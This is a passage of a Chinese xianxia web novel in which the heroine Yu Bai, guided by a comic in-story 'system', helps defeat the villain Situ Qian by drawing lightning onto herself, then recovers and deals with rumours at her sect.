他们反应很快,御空在上,同时劈斩藤蔓。 藤蔓虽不像之前那些烦人的影子一样斩断便立刻相连,但却斩不尽。 拥有木灵根的司徒乾在秘境占据着绝对的地利优势,这些藤蔓取之不竭。 继续和这些藤蔓缠斗只会更快的消耗为数不多的体力和灵力,擒贼先擒王,先控制住司徒乾才能阻止这烦人的攻势。 “天真!” 司徒乾冷笑了一声,似早料到了他们会这样做,在他们引剑攻来的时候便启动阵法。 红光如血,藤蔓中生出了红丝一样的东西,把他们迅速包裹,他们被束缚在其中,成为了一个巨大的红色蚕茧。 江小白试图斩开,可那红丝硬如钢铁,凌厉的剑气反被弹开四溢而出,在蚕茧里横冲直撞,把他浑身上下都割破。 齐昭那边也被束缚着,很快也没了动静,估计也是被自身剑气所伤。 那不是普通的红丝,是由司徒乾的神魂凝成的。 这个献祭阵法并不是临时起意,司徒乾一开始就打算牺牲那两个家仆来布阵困住江小白,依此保证替换根骨的万无一失。 按照原本的计划,司徒乾用神魂将江小白的血肉蚕食干净,这样神魂凝成的红丝就沾染上了他的气息,在替换根骨的时候就不会产生排斥和反噬。 现在司徒乾却改变了主意。 比起江小白,齐昭的天赋更好,虽然道体占据不了,可他刚才还发现齐昭还是个天生剑骨,只要不是傻子都知道改怎么选。 不过江小白的天灵根也不能浪费。 于是司徒乾歹毒的打算把两人的灵根都给剖了。 剖灵根可是个精细活,一个不小心灵根受损就功亏一篑。 司徒乾将红丝如针一样扎进他们的身体里,在里面搅动探查,在碰触到灵根后再小心翼翼把红丝如血管一样缠覆上去,将其与自身神魂进行连接,适应。 若是直接离体,失去了灵脉滋养的灵根便会大打折扣,甚至会变成废灵根。 司徒乾额头沁出了汗珠。 终于,他的神魂完全包裹住了江小白的灵根,现在只需要把它从少年体内剖出。 “滋滋”,有什么声音响动。 司徒乾起初以为是自己幻听了,紧接着红茧上冒出紫色的寒光。 他还没有反应过来那是什么,附着在少年灵根上的神魂先一步传达来一阵剧痛。 同样的攻击若是神魂遭受,疼痛会是□□的十倍百倍。 司徒乾惨叫了一声,条件反射要把神魂收回,一把红色长剑朝他刺了过来。 不,不是剑,是血。 鲜血被凝成了冰,带着逼仄的寒气。 司徒乾这下不光是收回神魂了,整个人都和江小白拉开了距离。 身后的齐昭不知何时从红茧破出,一剑刺入了他的身体。 这个阵法最难以攻克的就是司徒乾的神魂,只要他神魂尚在,阵眼无论破坏多少次都会自动修复。 同时它最大的缺点也是神魂,只要神魂动荡便会露出破绽。 可要让神魂动荡很困难,要么让他道心破碎,要么攻击神魂。 所以江小白打算兵行险招,以自身为诱饵,主动让司徒乾的神魂进入自己的身体,再用天雷之力攻击他的神魂。 在神魂受到攻击的瞬间,阵法对他们的束缚便会大幅度的降低,他们要抓住的就是这一瞬间的破绽。 一瞬间能做什么?一次眨眼,一次呼吸。 于剑修而言,一瞬便足以决定生死。 “雪明霜!” 江小白在司徒乾中剑后对着下面在神魂动荡的时候便已然挣脱束缚的雪明霜大喝:“动手!” 雪明霜是变异冰灵根,一切的水都是她的武器。 包括血。 司徒乾被贯穿的胸口中流出的血液变成无数尖刃,把他捅得血肉模糊。 但这还不够,金丹修士除非神魂俱灭,这种程度的伤他只要操纵灵力就能治愈。 这也是江小白料到。 但无所谓,只要一瞬的破绽足矣。 他手作剑诀,桃木剑悬空直上,“轰隆”,白紫雷电凝聚在剑刃之上,直直劈在了司徒乾的身上。 雷落的速度瞬息之间,司徒乾避无可避。 司徒乾痛得龇牙咧嘴,迸发着灵力,巨大的威压涤荡,把齐昭他们震开。 “变异天灵根?你竟然是变异天灵根?!” 之前江小白使用过雷之力他以为只是因为那柄用雷击木制成的桃木剑,不曾想他本身就能操纵雷电。 司徒乾面容扭曲狰狞,盛怒的眼睛里面带着浓浓的妒忌和贪婪。 “好,你很好,你竟敢耍我!江小白,我今日不将你千刀万剐誓不罢休!” 江小白抬手随意抹掉刚才嘴边的鲜血,咧嘴笑得挑衅且张扬。 “是吗?尽管试试看,看看今日到底是你死还是我活!” 话音刚落,剑上雷霆再次落下。 司徒乾无法避开,只能身承。 看起来似乎是江小白占据了上风,实则真正不利的是少年。 他能够操纵的天雷之力受限于修为,只能伤到司徒乾,并不能给予他致命的伤害。 这样下去尽管司徒乾避不开雷落,等到少年的灵力耗尽也就是他的死期了。 果不其然,在三道雷落过后少年的脸色变得跟纸一样苍白,浑身也在不受控制的抽搐,反观司徒乾虽狼狈,却尚有余力。 在余白急得抓耳挠腮的时候,轰隆隆,秘境四周传来了震耳欲聋的声音。 像地动,又像山摇。 系统惊呼出声:[宿主快看!齐昭和雪明霜他们好像要做什么!] 雪明霜和齐昭不知何时飞到了苍穹之上,两人皆是一身染血白衣,此时残阳也如血,天地间都被笼罩在这层刺目的殷红里。 齐昭引剑顺着地下藤蔓的钻出的缝隙斩去,剑气涤荡,地面塌陷,地下水排山倒海倾泻而出。 湍急的水流自下而上,变成九天银河。 雪明霜将水往司徒乾所在的位置淹没倾覆,齐昭用剑气为她源源不断引出水源。 司徒乾被巨浪用力推开,如一片树叶在水中翻滚浮沉。 他破水而出,无数道冰棱又把他重新打入水里。 “哈,想淹死我?蠢货,你见过哪个修者怕溺水的?” 司徒乾话音刚落,一片阴影覆下,江小白垂眼看着他,宛若在看苍生一蝼蚁。 “不怕水,那天雷呢?” “什么?” 司徒乾还没反应过来,”轰隆”,刺耳可怖的雷声响彻耳畔。 他瞳孔一缩,嘲讽的神情被惊恐取代。 少年凌于九天,九天之上那柄桃木剑被白紫的电光覆盖。 紧接着雷落水中,无尽的水源成了滋养雷电的温床,将雷之力放大了数倍。 原本只是筑基程度的雷落陡然达到了金丹雷劫的威力。 余白惊呆了。 这家伙不光天赋高,还懂物理?竟然知道利用水导电来增加雷落的威力?! 怪不得他之前说什么这次成败的关键在雪明霜,原来打的是这个主意。 真是学好数理化,走遍天下都不怕。没想到这句话在修真界也同样适用。 司徒乾饶是再聪明也绝对料不到江小白会这样对付他,直接给他搞出个雷劫代餐来。 他像条死鱼一样,在水里被电的翻来覆去,哀嚎不止。 江小白逆着雷光,那张脸隐没在阴影里看不真切,反而在忽略五官的情况下凸显出了他优越的头骨。 好圆,她脑袋要是也这么圆就好了。 等等,现在不羡慕对方头骨的时候! 被逼到绝路的司徒乾咬破了手指,猩红着眼睛狠厉道:“我说了,我今日必将你千刀万剐,碎尸万段!哪怕我死,也要拉你做垫背!” 他艰难驱动着阵法,巨大的灵压将江小白他们三人的五脏肺腑挤压翻搅。 “我倒要看看是我先死还是你们先被阵法碾成肉泥!” 这个阵法对元婴以下的修者有着绝对的压制,江小白灵力透支厉害,头顶上的桃木剑摇摇欲坠。 只差最后一点了,只要这时候再来一道雷落下,司徒乾必死无疑。 偏偏他们三人此时都已力竭,无法再给予对方致命一击了。 而且从四人目前的血条来看,这样僵持下去司徒乾没准会是最后赢家。 不是,这对吗? 哪有主角团的跟反派拼运气,结果反派更胜一筹的啊! [都怪江小白!我早跟你说了这家伙霉运缠身,整一个幸运e,谁跟他在一块儿谁倒霉!看吧,连齐昭这样的气运之子都被影响了!] 作为主角毒唯的系统不可能怪齐昭,于是将一切的原因都推给了江小白这个路人甲。 余白也觉得这很离谱,急得像热锅上的蚂蚁。 “别怪这怪那了,想想办法吧祖宗,现在该怎么办?齐昭还有机会再破镜一次吗?或者雪明霜能不能也逆境突破一下?” [你以为破镜那么容易吗?这得天时地利人和,而且破镜也不一定有用,齐昭破镜到金丹也没我想象中那么小宇宙爆发,大杀四方啊,在那个司徒乾面前还不是照样被碾压!] 系统也急了,一想到主角死了它也要跟着被销毁,生气得连带着他最爱的男主也跟着迁怒了。 其实齐昭这种情况才是正常的,在身受重伤的情况下冒险突破必然遭受反噬,他能够撑到现在战斗到最后一刻已经很不容易了。 真正不正常的是那个江小白。 他一个区区路人甲,竟然越境打boss,还在霉运缠身debuff下打得不分伯仲。 要不是余白手拿剧本,这谁分得清他和齐昭谁是男主? [啊啊啊啊,斯到普斯到普!司徒乾你个龟孙,我不想死求你收了神通吧!] 余白看到系统面板上显示的三人狂掉到不到十点的血条,也发出了尖锐的爆鸣。 好好好,差一点是吧,那她就给他添一把火! 她在身上贴满了防御符箓,踩着飞行法器就窜出去了。 江小白也在心里咒骂天道的不公。 难道自己就要这么窝囊死在这种杂碎手里吗? 他不甘心! 而且余白那个傻白甜还在山洞里,一旦他们死了,司徒乾绝对不会放过她。 他双眼赤红,拼尽全力和阵法对抗的时候,不远处一道熟悉的身影乱七八糟飞了过来。 是余白。 少女吱哇乱叫地闯进阵法,在进入阵法的瞬间,她周身层层叠叠的防御符箓肉眼可见在消耗掉落。 “笨蛋,你不要命了!快出去!” 江小白关心则乱,全然忘记了这是一个只进不出,至死不休的阵法。 系统也被余白找死的行为给搞得大为破防。 [宿主你干什么?!求求你,你要送死别拉上我啊啊啊!] [谁要送死?我这是在自救,在装逼!主角往往都是最后登场的,我现在出场等于抢了主角的风头!区区路人甲竟敢与主角争辉,天道一定会惩罚我的!] [我听不懂你在胡言乱语什么?!装逼和自救有毛线关系啊!] [有啊!] 余白咬牙,视死如归跳进水里,像只八爪鱼一样死死抱住司徒乾将其钳制。 [因为装逼——遭雷劈啊!] 话音刚落,天上乌云翻涌,电闪雷鸣。 然后在众人震惊和恐慌的神情下,天雷就这样水灵灵地劈了下来。 17.第十七章 如果有人问余白被雷劈是什么感觉? 答:没有感觉。 因为余白在雷劈下来的瞬间就给吓晕过去了。 余白醒来的时候是在三天后,睁开眼睛的时候她发现自己躺在长白峰的千年寒冰床上。 她身上的伤已经被治疗得七七八八,疼倒是不怎么疼,就是难受。 余白觉得自己体内有一团火,烧心又烧身,可身下的冰床又透着刺骨的寒气直往她身体里钻,冰火两重天的感觉比疼痛更让人难以忍受。 余白受不了想要起来,下一秒便被一只纤细白皙的手给摁了回去。 那力道不大,轻飘飘如羽毛,却让余白无法抵抗分毫。 “体质不错啊,竟然还有力气动。” 头顶的女声语气冰凉,让余白不由打了个寒颤。 她抬眼,一张素雅白皙的脸映入视野。 “秦师姐。” 秦菡萏应了一声,说道:“老实躺着别乱动,天雷之力霸道,要是不逼出来你就等着经脉寸断而亡吧。” 一听可能危及性命,余白一下子老实了,乖乖躺在冰床上没动了。 只是这寒冰床实在过于刺骨,她冷得龇牙咧嘴,手脚都要没知觉了。 余白想要通过转移注意力来缓解这冰火两重天的痛苦,于是便同秦菡萏有一搭没一搭开始聊天。 秦菡萏不是一个多话的人,她是长白峰百年来最有天赋的医修,在别的医修还在拿灵兽当小白鼠练习的时候,她的医术已经能比肩大能了。 天极宗年轻一辈中有两个颇负盛名的“妙手”。 一是丹霞峰的沈宿眠,再难以炼制的灵材经他的手都能炼到极致,另一人便是秦菡萏,妙手回春,活死人而肉白骨。 天极宗最多的就是剑修,其次便是刀修和体修,这三个群体都有一个共同的特点——好战好斗。 因此他们是长白峰的常客。不光是他们,宗门其他弟子外出任务,或者交流切磋,刀剑无眼也避免不了会受点伤,只要是来长白峰治疗过的,基本上都和秦菡萏接触过,就算没有接触也至少打过照面。 余白却是个例外。 她和沈宿眠素来交好,青年对她颇为照顾,时不时就会给她塞点自己炼制的丹药,她的老祖宗也对她关怀备至,无数洞府灵宝灵药任她取用。 余白要是受伤根本用不着来长白峰找医修,塞几颗丹药就行了。况且天极宗也没人敢伤她。 加上秦菡萏常年在长白峰少有外出,余白一开始和她属于互相都知道对方,却毫无交集。 她们真正有接触是在一次宗门任务。 天极宗每个弟子都要做任务,这也属于一种修行。 余白的修为有限,难度大的一些任务她做不了,只能接一些除草喂灵兽的简单任务,那一次余白也接了一个没什么难度的任务,跟随一个长白峰的师姐下山为百姓治疗怪病。 说是怪病其实是为了不引起百姓恐慌的一种说法,那段时间魔族不知因何频出,人间魔气浓重。 被魔气侵蚀的人族疾病缠身,神志不清,且不出一年就会身死。 当时波及之广,就连山脚那些受天极宗庇护的村落也出现了被魔气侵蚀的百姓。 尽管那是对于修者而言稀薄得可以忽略不计的魔气,对普通凡人而言却是足以致命的。 余白当时接下这个任务的时候只是单纯觉得每次都在宗门里除草喂灵兽太枯燥无聊,好不容易等到了一个可以下山的任务,想也没想就揭了。 秦菡萏在看到她的时候也很意外,但她没有说什么,只让她要是坚持不下去就告诉她,她好重新找人。 余白以为不光有魔气,可能还有魔修出没,害怕极了。 结果真的到村子后发现自己的任务就是个帮忙打下手的,根本没有任何技术含量,就是有点累。 祛除魔气的任务进行了一个月,那段时间余白每天两眼一睁就是采药,捣药,熬药,给村民们包扎一些因为魔气侵蚀腐烂的伤口。 累是累了点,但过得还是挺充实的,而且她还跟着秦菡萏学了不少辨别草药的知识,临走的时候村民们给她们送了满满几大筐的当地特产,可谓是收获满满。 从余白的角度来看她只是帮秦菡萏做了力所能及的一些事情,没什么了不起的,但落在对方眼里却并非如此。 秦菡萏一直都知道余剑尊有个很疼爱的小辈,这个小辈资质平平,却因为有余剑尊托底占据着内门弟子的名额,还惫懒无比,不知进取。 和沈宿眠这样生来就含着金汤匙的仙门世家子弟不同,她是个出身低微的凡人,凡人能够得到修道的机缘机会渺茫,是她的师尊看到了她的天赋,把她带回了天极宗,因此她虽是个天才却十分勤勉。 不过她并没有因此对不用努力就能轻而易举得到一切的余白产生嫉妒或是心理不平衡。 人各有命,有人是乞丐命,有人是帝王命,这很正常。 秦菡萏真正对少女有所不满是在一次给一位弟子疗伤的时候,由于他也是凡人出身,见他情绪低落以为他是受欺负了多问了句。 他并没有被欺负,只是前段时间剑术考核,余白错了好多处,他只错了两处,对方却通过了,他却没有。 隔日他看到了长老命剑上多了一块上好的昆仑红玉。 后面的话他没有多说秦菡萏也猜到了,余白为了通过考核私下找了长老送了东西。 自那之后秦菡萏对余白本就不怎么好的印象就更差了。 所以在得知揭了她任务的是余白的时候她很是头疼。 修者一向自视甚高,觉得自己比凡人高人一等。他们可以斩妖除魔,但给凡人熬药干活这种自降身份的事情他们却不会去做。 余白的心思单纯,什么都写在脸上,秦菡萏和她一打照面就知道她是冲着下山游山玩水去的,可除她之外实在找不到人,这才不得已带上她。 她以为对方一天不到就会吵着闹着要回去。 谁曾想余白意外的负责,一句抱怨都没有,让她干什么就干什么,甚至怕她忙不过来还主动提出帮忙包扎伤口。 被魔气侵蚀的村民身体溃烂流脓,恶臭无比,余白除了控制不了生理反应恶心得吐了好几次外,没有一点嫌弃。 她是真的不介意纡尊降贵照顾这些凡人,人的言行可以伪装,眼神是装不出来的。 余秋离之所以闻名修真界,一是因为他无双的剑术,二是因为他还有一颗与佛修一般无垢的剑心。 剑下走生魂,却不被戾气杀念侵染半分,此间境界千年难得一遇。 余白虽然资质天赋比之她的老祖宗千万不及之一,唯独这颗道心却同余秋离一样澄澈清明。 只是后者是经历太多,千帆过尽的通透,少女是本性使然。 秦菡萏觉得这样的人应该不会做出贿赂长老的事情,事实证明也的确如此。 事后她找人重新打听了下,得知那块昆仑红玉的确是余白送给明台长老的,不过不是贿赂,是她考核的时候没控制好力道不小心将他剑上的玉坠子给打碎了,特意选了块上好灵玉作赔,至于她为何失误颇多还通过考核是因为她文试成绩一骑绝尘,中和了她稀烂的剑术,勉勉强强混了个合格。 尽管她那篇被广为流传的《论剑与剑人》的文章,十有八九是从她老祖宗的剑籍注解上东拼西凑的。 搞清楚了事情原委后秦菡萏送了她一份自己亲手绘制的百草图鉴,并为之前对她的偏见和误会做了道歉。 余白收到歉礼的时候还有点懵,同时又有点哭笑不得。 其实这件事秦菡萏不告诉她她也不会知道,但对方这样真诚反而打动了她,两人的关系突飞猛进,很快就成了无话不谈的好姐妹。 这次余白要跟着齐昭下山做任务的事情秦菡萏也知道,怕她出什么意外临走前还给她塞了不少灵药以备不时之需,谁曾想她千算万算,算到少女可能会被人暗算,被妖兽伤到,唯独没想到她会被雷劈。 而且还是天雷! 天知道秦菡萏在看到少女被沈宿眠给抱过来的时候有多惊恐,她浑身是伤,几乎没一块好肉不说,体内灵力乱窜,经脉断裂,要不是她身上有余剑尊的剑意护住心脉要害,她估计早就无力回天了。 如今她皮外伤已经好的差不多了,但内里的天雷之力还有残留,天雷之力属于火系,却还是火系中和真火并列的最为霸道的一种。 即使只是一道,对于余白这种练气小脆皮来说,简直生不如死。 好在她最痛苦的时候都在昏迷中,也没遭多少罪,真是不幸之中的万幸。 “秦师姐,师姐?” 秦菡萏正在给她检查身体,灵线搭在她的手腕,脉搏还有点虚弱,但已经平稳了。 余白见她不搭理自己,轻轻用手指戳她。 “你是不是生气了?怎么了,是我伤的太重浪费了你太多灵药吗?” 她故意开玩笑想要缓解一下气氛,谁知秦菡萏的脸更沉了。 “是啊,这三天你用了我十瓶上品灵露,八瓶上品灵药,其中为了配制这些东西还用到了不少稀缺药材,耗费了长白峰不少的人力物力,你如今睡的这个寒冰床是我师尊早年去九幽地脉取来的,价值连城,按时辰收费,你睡了三十八个时辰零五刻,看在你是余剑尊的后代给你抹个零,加上前面的一共付我五百万上品灵石就够了。” 余白听得目瞪狗呆,嘴巴张得老大,许久才合上。 她咽了咽口水,缓了下,伸手去摸芥子囊。 秦菡萏瞪她:“你还真给?” 余白当然知道秦菡萏是在逗她不是真的找她索要医疗费。 她眨了眨眼睛,说道:“我只是想如果给钱能让你不生气的话,别说五百万,一千万我也是愿意给的。” 秦菡萏的火气被她这句话一下子给戳没了半截儿。 “……真是不当家不知财米油盐贵,一千万,还真敢说。余剑尊要是知道自己积攒了近千年的钱财被你这样挥霍无度,估计得气得提前出关。” 余白笑眯眯道:“那要让你失望了,我老祖宗最喜欢我花他的钱了,花的越多他越高兴。” 余秋离醉心修行,陪伴她的时间很少,因此便用这些身外之物来弥补。 最开始余白也不敢花太多,直到后来余秋离入梦告诉她她不花钱他心不安,心不安则道心不稳,这会乱了他的修行,若是他闭关突破修为不升反降,她可担待得起? 余白吓坏了。 余秋离要是因为她而突破失败,她就是全天极宗的罪人了,于是她赶紧大花特花。 起初她花的战战兢兢,后头发现自家老祖宗的金库取之不尽用之不竭后,她就花的随心所欲,逐渐猖狂了。 这个师姐长得好看,送个簪子。 那个师弟声音好听,送块灵玉。 等到余白有了善财童女的称号的时候,她已经花了一个小目标了。 哎呀,这钱真是不经花。 她这么感慨着,然后又眼睛不眨地花了一个小目标。 秦菡萏微笑:“小嘴巴,闭起来。” 余白见秦菡萏脸色好多了,这才问道:“所以你到底在生我什么气啊?” 难不成又出现了什么类似贿赂长老的乌龙事件让她误会了? 秦菡萏收回灵线,垂眼看着平躺在寒冰床上的少女。 “你是真不知道,还是存心装糊涂?” 余白更懵了,说道:“师姐,我真没装糊涂,我要是知道你为什么生气我哪会明知故问?” 她扯了下秦菡萏的衣袖,圆圆的杏眼眨巴眨巴。 “怎么了嘛,我哪里惹到我们人美心善的秦师姐了?你说,我一定改。” 秦菡萏心头那点仅剩的火气彻底没了,取而代之的是无奈和心疼。 她用手指戳了下余白额头。 “你老实告诉我,这天雷是怎么回事?是不是你替齐昭承的?” “当然不是!” 她就说秦菡萏为什么那么生气,敢情是误会她帮齐昭挡雷劫了。 秦菡萏半信半疑:“真的?那你的伤是怎么来的?难不成天雷还会专门劈你不成?” 天雷即天惩,除却劈渡劫的修者,便是惩戒穷凶极恶之徒。 余白两者都不沾,除非她自己替人抵挡天劫,不然这天雷是如何也劈不到她身上的。 余白也不知道该怎么给秦菡萏解释,无论是自己被雷劈还是他们合力引雷杀司徒乾的事情。 她当时被劈得当场昏厥,也不知道最后情况如何。 不过她既已安然躺在这里,说明应该是成功了。 余白含糊道:“齐师兄突破得突然,我给吓到崴了脚,这才没躲过给波及到了。” 为了让秦菡萏相信,她还抱着手臂抖了抖,一脸的后怕。 “要是早知道齐师兄会在那时候突破,我肯定提前就踩着飞行法器溜得远远的。” 秦菡萏看她这副可怜兮兮的样子,又好气又心疼。 “谁叫你平时非要跟在齐昭身后,跟块狗皮膏药一样甩也甩不掉,以后跟他保持点距离,人是天命者有天道庇护,你有什么?烂命一条吗?” 余白一噎:“过分了啊。” 这件事就这样糊弄过去了,她暗自松了口气,这才问了自醒来最关心的问题。 “师姐,齐师兄雪师姐他们呢?” 秦菡萏皱了皱眉:“他们伤的很重,当时传送回宗门估计就用光了他们仅剩的灵力,还没说几句话就昏死过去了。雪明霜还好,伤势就是看着唬人,内里没多少损伤,严重的是齐昭。” 余白忙问:“他怎么了?有没有生命危险?” 秦菡萏摇头:“还好,已经脱离危险了。就是他强行突破遭到了很强的反噬,还没稳定又受了重伤,好在我师尊出手了,不然估计得跌回筑基。” 吓死她了,没事就好,没事就好。 她拍了拍胸口,总觉得还忘了什么。 忘了什么呢? [……江小白。] 哦哦哦对,江小白!怎么把这个最强路人甲给忘了? “那江……那个齐师兄他们带回的散修呢?他情况如何?” “他啊。” 秦菡萏语气微妙,话里有话。 “他好着呢,伤的最重,结果竟然是最早醒的,昨天还来看你了呢。” 余白一愣,没想到对方会来看她。 不过转念一想,他们如今也算是过命的交情了,关心下也正常。 秦菡萏把她因为受不了寒冰床的温度,试图往外挪的腿给摁了回去,说道:“他昨天看了你之后去玄天堂测资质了。因为是齐昭引荐的,说是变异天灵根,为了保证检测的万无一失,宗主亲自给他测的资质。” “结果如何?是不是变异天灵根。” “是。不光如此他还检测出了天生剑骨,纯阳之体。” 两种天赋就是天命者,加上变异天灵根江小白就有三种了,这放在天命者中也极其少见。 嘶,不愧是最强路人甲,恐怖如斯! 同为路人甲的余白与荣有焉,拍着手高兴道:“太好了,咱们天极宗又添一名天命者,这次仙门大比夺魁有望!” “好什么好?” 秦菡萏道:“灵根被雷劈没了一截儿,剑骨无端断了一根,就连那个纯阳之体也没全纯,阳中带阴。” 余白:“……” 啊这,全瑕啊。 18. 第十八章 秦菡萏又给余白喂了点灵药,让她躺着再休息一天,不出意外明天体内的天雷之力就会被彻底清除,她就可以下地自由活动了。 在寒冰床上躺着本来就不舒服,加上余白心里有事怎么也睡不安稳。 当时天雷劈下来的时候在被吓晕之前她似乎看到江小白往她这边过来了,神色恐慌的像是被雷劈的是他自己。 这比少年特意跑来看她更让人在意。 [系统,问你个事。当时我被雷劈的时候江小白是不是往我这边过来了?] [这我哪里知道?我当时也被电短路了好吧。] 尽管最终结局是好的,系统对余白“同归于尽”的行为还是十分不满。 要不是生死关头余秋离留在她体内的剑意给激活了,抵挡住了大部分的威力,它早就跟着她一起死翘翘了。 [这样啊,那应该是我眼花了吧。] 或者她看到的是齐昭或者雪明霜? [你纠结这个干什么?那个江小白他顶多就是一个有点天赋的路人甲,你的任务是打卡主角名场面,你不要本末倒置了。] 经此鬼门关走了一遭后,系统对江小白的印象跌到了谷底,在它看来这一切都是对方造成的,不光差点害死了齐昭,也差点害死它的宿主,实在可恶。 [宿主,这次虽然我们大难不死,但不代表每次都那么幸运可以逢凶化吉。你要是不想倒霉就离他远点,越远越好。] 道理是那么个道理,可余白很难做到无视别人,尤其还是和自己出生入死过的人。 而且当时邀请江小白入天极宗的人也有她,她还信誓旦旦给他保证说天极宗是个有爱的大家庭,大家都不论出身,一视同仁,结果自己后脚就不搭理人家,直接变如脸,也太那个了。 [哎呀,你也别太草木皆兵了。江小白气运是不好,但我们现在在宗门,哪有那么多危险?而且人都已经入宗门了,抬头不见低头见的,不是我想躲就躲得了的。咱们就放平常心,顺其自然吧。] [可是……] [你放心,有危险我肯定躲。再说他救了男主不就等于救了我们?这样一看人也不是全给我们带来麻烦,是吧?] 系统被说服了,松了口。 [好吧,反正你小心点,别再搞得这么惨兮兮了。] 其实系统也知道江小白气运虽差,可这件事本质上并不是他的错,而在于齐昭。 少年救了齐昭,后者想还他的恩,偏偏他们又不能放任齐昭不管,所以他们是卷入了齐昭的因果。 但系统不想承认这一点,甚至强行让自己忽略。 齐昭是男主,还是爽文大男主,从来都是带飞身边的人的,怎么能是拖人后腿的呢? 这不符合逻辑,一定是江小白那个霉星影响了他的气运,一定是这样。 作为主角毒唯的系统只能这样安慰自己,才能不让自己的道心破碎。 余白完全感知不到系统的那点纠结的小心思,在躺了一会儿感觉到体内的燥热消除后,一个鲤鱼打挺从冰得她浑身起鸡皮疙瘩的寒冰床上跳了下来。 秦菡萏看着时间差不多了正要过来叫她起来,发现人已经搓着胳膊在地上跺脚取暖了。 她将一颗驱寒药给她服下,身体很快就不冷了,又将几包配制好的灵药拿给她。 “这些灵药一日一副,用灵泉水熬煮个把时辰就行了,记得按时吃,早上服用最好,要是你起不来晚上服也行,但记得再吃一颗固本培元的灵药。” “嗯嗯好的,我记住了。” 余白耐心听秦菡萏叮嘱完后,这才拎着药踩着仙鹤从长白峰离开了。 她刚到青云峰,便看到不远处有几个弟子在自己洞府外探头探脑。 余白莫名,走过去朗声问道:“你们聚在这儿干嘛呢?” “?!啊,是余师姐!” “余师妹,你回来啦!” 这几个弟子她都认识,有两个外门的师姐师兄,还去一个是那个今年从西洲来的那位丹修弟子赵况。 他们围着她仔细看了一圈,见她身上并没有什么明显的伤势后这几天悬着的心这才放下来。 “我们听长白峰的弟子说你这几天都在秦师姐那里治疗,今天就会回来,我们担心你,晨练后就跑来这里等,想亲眼看看你的情况,看到你没什么事情 我们就放心了。” 余白心下一暖:“谢谢你们挂念,我已经痊愈了,倒是师姐你,你的伤好些了吗?要不要我再给你拿一瓶丹药?” 说着她就准备从芥子囊里掏。 那位师姐忙道:“不用不用,我早好了,况且我是来看你的,哪有还连吃带拿的呢?” “对了,这个是我和你师兄从山下给你带的糕点,还有一只荷叶鸡,其他的东西你也不缺,我看你就馋凡人的那口吃食,特意给你带的。” 余白刚才就闻到香味了,听到他们是给自己的高兴得眼睛都亮了。 “谢谢师兄师姐,我很喜欢。” “你不嫌弃就好。” 他们本来就是抽空过来的,看了人东西送到后寒暄了几句就离开了。 一时之间只剩下余白和赵况了。 她从食盒里拿出两块桂花糕,一块往自己嘴里塞,一块递给对方。 “师弟,吃吗?” “啊,谢谢。” 赵况早就辟谷了,也没什么口腹之欲,不过还是不忍拒绝少女的一番好意。 他接过咬了一口,在吃余白开始吃第二块的时候才酝酿好,斟酌开口:“余师姐,你还好吧?” “唔?伤势吗,都好了都好了。秦师姐的医术你们又不是不知道,有她这个妙手回春的医修在,我想死都死不了。” 余白吃得腮帮鼓鼓,她已经好久没吃到这样可心的糕点了,嘴里还没咽下去,又伸手去拿另一个口味的。 “……我不是问这个,当然,我也很担心师姐的身体。” 赵况担心道:“师姐,你为齐师兄挡天雷的事情是真的吗?” 余白差点儿给噎住,急得猛拍了几下胸口。 “咳咳,你,你怎么也知道了?不是,我没给他挡天雷,我是被误伤的!” “这件事除了你还有多少人知道?” “你给师兄挡天雷的事情吗?” “不是,是我被雷劈的事情!” “……这不都一样吗?不都是被雷劈。” 余白觉得自己刚才好不容易咽下去的糕点又再次梗在了喉咙,上不去下不来。 她深吸了一口气,皮笑肉不笑道:“不管你信不信,我真是被误伤的。我和齐师兄关系是不错,但还没好到可以为他不要命的程度。” 赵况也没说是信还是不信,只说了句“我知道了”。 余白扶额,想着他大概还是不信,毕竟自己为了打卡总是粘在齐昭身边,就连沈宿眠也认为自己对对方情根深种,更何况是赵况这种刚入宗门的弟子,会误会也正常。 解释越多越像此地无银三百两,显得自己心虚,余白也没再说什么,继续啃着自己的糕点。 偏偏赵况不放过她。 “师姐,你这次之所以非要跟着齐师兄下山也是因为料到了他会有危险吗?” 余白是彻底吃不下糕点了。 “你这又是从哪里得出的结论?我不过练气,我难不成还有未卜先知的能力?” 赵况道:“你没有,但是余剑尊有啊。” 余秋离不光是个千年难遇的剑修奇才,在其他方面也颇有天赋,尤其是卜算推衍一道,听说他早年算无遗漏,连他人的劫数都能算到,甚至还能精确到时间。 若不是他爱剑如命,他在此道的成就不会逊色于扶桑那位料事如神的老祖。 “他们说以前你虽然也很黏齐师兄,但是宗门外的任务你从不会同他去,只有这一次你不知怎么非要缠着他带你去,前几天你又是重伤回来,所以他们都猜测你是从余剑尊那里窥探到了天机,知道齐师兄有危险才去的。” 赵况一脸复杂和不忍:“师姐,我们知道你对齐师兄情谊深厚,但是你再怎么也要以保重自己为先啊!咱们修者和凡人不同,没有轮回转世,死了就真的是什么也没有了!” 他说到后面一副痛心疾首,甚至还红了眼眶。 “我知道我说这么多师姐可能不会听,还会觉得厌烦,我这次是代表大家来劝你的,话我带到了,大家托我给你送的礼物什么我也放这儿了。” “总之师姐,你好自为之!” 赵况噼里啪啦输出一通后,踩着仙鹤一溜烟便消失在了云海里,只留下一脸懵逼到手中糕点什么时候掉了都不知道的余白,在风中凌乱。 不是,这都什么跟什么啊? 造谣她帮齐昭挡天雷也就算了,怎么这里面还有她老祖宗的事?他什么时候给齐昭卜算过,她怎么不知道? 要不是她就是当事人,这一个个说的有鼻子有眼的她都信了。 哎。 余白叹了口气,将地上的糕点捡起来拍掉灰尘,正要扔进嘴里。 一颗石子飞了过来,“啪”的一下打掉了糕点。 “啊,我的桃花糕!” 余白下意识又要去捡,一道身影从树上轻盈跃下。 “掉地上还吃,不嫌脏?” 这声音。 “江小白?!” 少年那身玄衣已经换成了天极宗统一的蓝白弟子服,宽肩窄腰,身姿挺拔,明明穿戴整齐,却透着一股说不出的恣意潇洒。 “小点声,我耳朵不聋。” 江小白皱了皱眉,目光不着痕迹扫了余白一圈,然后移开。 余白弯着眼睛道:“我这不是看到你高兴吗?对了,你身体怎么样了,要不要再吃点丹药?” 托余白的福,在被她塞了一堆丹药后他现在看到丹药都有点犯恶心。 “不了,你这么喜欢留着自己吃吧。” 江小白顿了顿,突然冷不丁问道:“你真喜欢齐昭?” 余白:“……” 不是,今天这些家伙究竟怎么回事?以前误会她对齐昭情根深种,也没见他们这么贴脸开大的啊。 就算她真的喜欢齐昭,她喜欢她的也没妨碍到他们啊? 大家只是同门,能不能离她的私生活远一点? 余白性子是好,但泥人还有三分脾气呢。 